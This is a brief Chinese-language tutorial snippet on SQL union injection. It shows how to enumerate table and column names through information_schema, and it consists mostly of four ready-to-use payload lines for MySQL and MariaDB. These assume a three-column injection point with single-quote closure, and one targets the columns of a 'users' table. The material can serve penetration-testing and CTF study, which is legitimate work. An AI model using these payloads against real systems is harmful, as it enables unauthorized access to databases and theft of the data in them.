在联合注入过程中,通过构造查询语句对information_schema表的查询,可以获得数据库的表名,列名等信息,但是在不同的数据库中,information_schema中列的名称有区别。假设注入点的列数为3,注入信息可为‘1’, 闭合方式是单引号,下面给出联合注入语句示例:
MySQL
1' union select 1,2,table_name from information_schema.tables where table_schema=database() #
1' union select 1,2,column_name from information_schema.columns where table_name='users' #
MariaDB
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #